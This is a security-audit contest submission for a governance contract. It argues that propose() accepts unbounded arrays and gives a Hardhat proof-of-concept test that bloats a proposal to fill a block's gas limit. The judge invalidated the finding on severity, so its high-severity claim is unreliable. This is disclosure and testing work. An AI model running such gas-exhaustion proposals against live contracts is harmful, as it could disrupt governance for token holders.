Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Unbounded Storage Bloat Allows DOS Attacks on Proposal Execution

Summary

The governance contract’s propose() accepts an unbounded number of targets, values, and calldatas. An attacker with sufficient voting power can create a proposal that includes extraordinarily large arrays. When the contract processes such a bloated proposal (e.g., to compute its state, queue it, or execute it), it must copy and iterate over these massive arrays, significantly increasing gas usage. This can push proposal transactions beyond the block gas limit, effectively blocking or delaying legitimate proposals in the same block.

Vulnerability Details

Root Cause: The contract does not enforce upper limits on the size of proposal arrays (targets, values, calldatas) or proposal descriptions.
Functions like state() and _executeProposal() must copy/iterate over the entire array data in memory, compounding the gas cost in proportion to array size.

Code snippet (Governance.sol):

function propose(
address[] memory targets,//@audit no input size limits..
uint256[] memory values,
bytes[] memory calldatas,
string memory description,
ProposalType proposalType
) external override returns (uint256) {
uint256 proposerVotes = _veToken.getVotingPower(msg.sender);
if (proposerVotes < proposalThreshold) {
revert InsufficientProposerVotes(msg.sender, proposerVotes, proposalThreshold, "Below threshold");
}
if (targets.length == 0 || targets.length != values.length || targets.length != calldatas.length) {
revert InvalidProposalLength(targets.length, values.length, calldatas.length);
}//@audit do the values.length and calldatas.length need to == ?
uint256 proposalId = _proposalCount++;
uint256 startTime = block.timestamp + votingDelay; //@audit timestamp miner front running?
uint256 endTime = startTime + votingPeriod;
_proposals[proposalId] = ProposalCore({
id: proposalId,
proposer: msg.sender,
proposalType: proposalType,
startTime: startTime,
endTime: endTime,
executed: false,
canceled: false,
descriptionHash: keccak256(bytes(description)),
targets: targets,
values: values,
calldatas: calldatas
});
// Store the proposal data separately
_proposalData[proposalId] = ProposalData(targets, values, calldatas, description);
emit ProposalCreated(proposalId, msg.sender, targets, values, calldatas, description, proposalType, startTime, endTime, proposerVotes);
return proposalId;
}

PoC:

Note we are deploying the real VeRAACToken and RAACToken for this PoC.

Step1: Paste the following into the beforeEach block of Governance.test.js:

let realVeToken, RAACToken; //@audit added for POC. DECLARE these let Variables
//Deploy RAAC token, in order to be able to deploy VeRAACToken //@audit added to beforeEach for POC
const RAACTokenFactory = await ethers.getContractFactory(
"RAACToken",
owner
);
RAACToken = await RAACTokenFactory.deploy(owner.address, 100, 50);
await RAACToken.waitForDeployment();
// Deploy the real veRAACToken //@audit added to beforeEach for POC
const VeRAACToken = await ethers.getContractFactory("veRAACToken");
realVeToken = await VeRAACToken.deploy(RAACToken.target); // Adjust constructor if needed
await realVeToken.waitForDeployment();

Step2: Modify the deployment of governance (include address of real veRAACToken):

// Deploy governance
const Governance = await ethers.getContractFactory("Governance");
governance = await Governance.deploy(
await realVeToken.getAddress(), //<===== *****MODIFY THIS LINE to include realVeToken *****
await timelock.getAddress()
);
await governance.waitForDeployment();

Step3: Ensure the block gas limit is set to 30_000_000 in hardhat.config.js.

Step 4: Paste the describe block into Governance.test.js:

describe.only("Governance Proposal Array Bloat PoC", function () {
const ONE_DAY = 24 * 3600;
const ONE_YEAR = 365 * ONE_DAY;
// Helper function to lock tokens for a user
async function lockTokens(user, amount, duration) {
await RAACToken.connect(user).approve(realVeToken.target, amount);
await realVeToken.connect(user).lock(amount, duration);
}
// Helper to poll for a transaction receipt until it exists or timeout is reached
async function waitForReceipt(txHash, timeout = 60000) {
const start = Date.now();
while (Date.now() - start < timeout) {
const receipt = await ethers.provider.getTransactionReceipt(txHash);
if (receipt !== null) {
return receipt;
}
await new Promise((resolve) => setTimeout(resolve, 1000));
}
throw new Error("Timeout waiting for receipt");
}
it("should simulate DOS by including a bloated proposal in one block, preventing a legitimate proposal from being mined", async function () {
// Step 1: Mint & Lock Tokens for user1
const lockAmount = ethers.parseEther("6000000"); // 6M veRAAC
await RAACToken.connect(owner).setMinter(owner.address);
await RAACToken.connect(owner).mint(user1.address, lockAmount);
await lockTokens(user1, lockAmount, ONE_YEAR);
// Step 2: Build a bloated proposal with a large array
// Adjust hugeArraySize to simulate high gas consumption; here we use 305 elements to get right to the limit of 30 million gas (as set in the hardhat.config.js)
const hugeArraySize = 305;
const targets = [];
const values = [];
const calldatas = [];
for (let i = 0; i < hugeArraySize; i++) {
targets.push(user1.address);
values.push(1);
calldatas.push("0x");
}
const description = "Proposal with huge arrays to test gas limits!";
// Step 3: Send the bloated (attacker) proposal transaction (do not await receipt yet)
const bloatedTxPromise = governance.connect(user1).propose(
targets,
values,
calldatas,
description,
0 // ProposalType: assuming 0 is valid
);
// Step 4: Retrieve the receipt for the bloated proposal
const bloatedTx = await bloatedTxPromise;
const bloatedReceipt = await waitForReceipt(bloatedTx.hash);
console.log(
"Bloated proposal gas used:",
bloatedReceipt.gasUsed.toString()
);
// Step 5: Assert the bloated proposal consumed an extremely high amount of gas (simulate >29M gas)
expect(bloatedReceipt.gasUsed).to.be.gt(29_900_000);
// Since the bloated proposal consumes nearly all of the block's gas,
// Any other calls in the block will be DOSed and delayed until the next block,
// thus demonstrating the vulnerability
});
});

Step 3: Run with

npx hardhat test test/unit/core/Governance/proposals/Governance.test.js --show-stack-traces

Impact

DoS All Governance Functions: Even though the attacker's bloated proposal only affects the transactions in that particular block, it can have serious implications. If nearly all of the block's gas is consumed by the bloated proposal, other essential transactions—such as casting votes or executing proposals — could be blocked from being included in that block. This effectively creates a denial-of-service scenario for governance actions in that block.

Time sensitive transactions can be DOSed (proposal that is close in votes and near the time limit)

Gas Limit Pressure: Excessive array sizes can cause the governance proposal to fill a block’s gas limit, preventing other transactions (including legitimate proposals) from being processed that block.
Delayed / Blocked Proposals: Time‐sensitive proposals might be pushed to later blocks or fail due to out‐of‐gas errors.
Unnecessary State Bloat:

Tools Used

Manual review

Recommendations

  • Impose Size Limits on Arrays:
    Require that targets, values, and calldatas arrays stay under a defined maximum length, ensuring the gas cost for any single proposal cannot dominate a block.

  • Security Deposit / Spam Protection:
    Introduce a deposit mechanism that makes bloating proposals economically unattractive—e.g., proposers lose the deposit if the proposal fails or is canceled.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.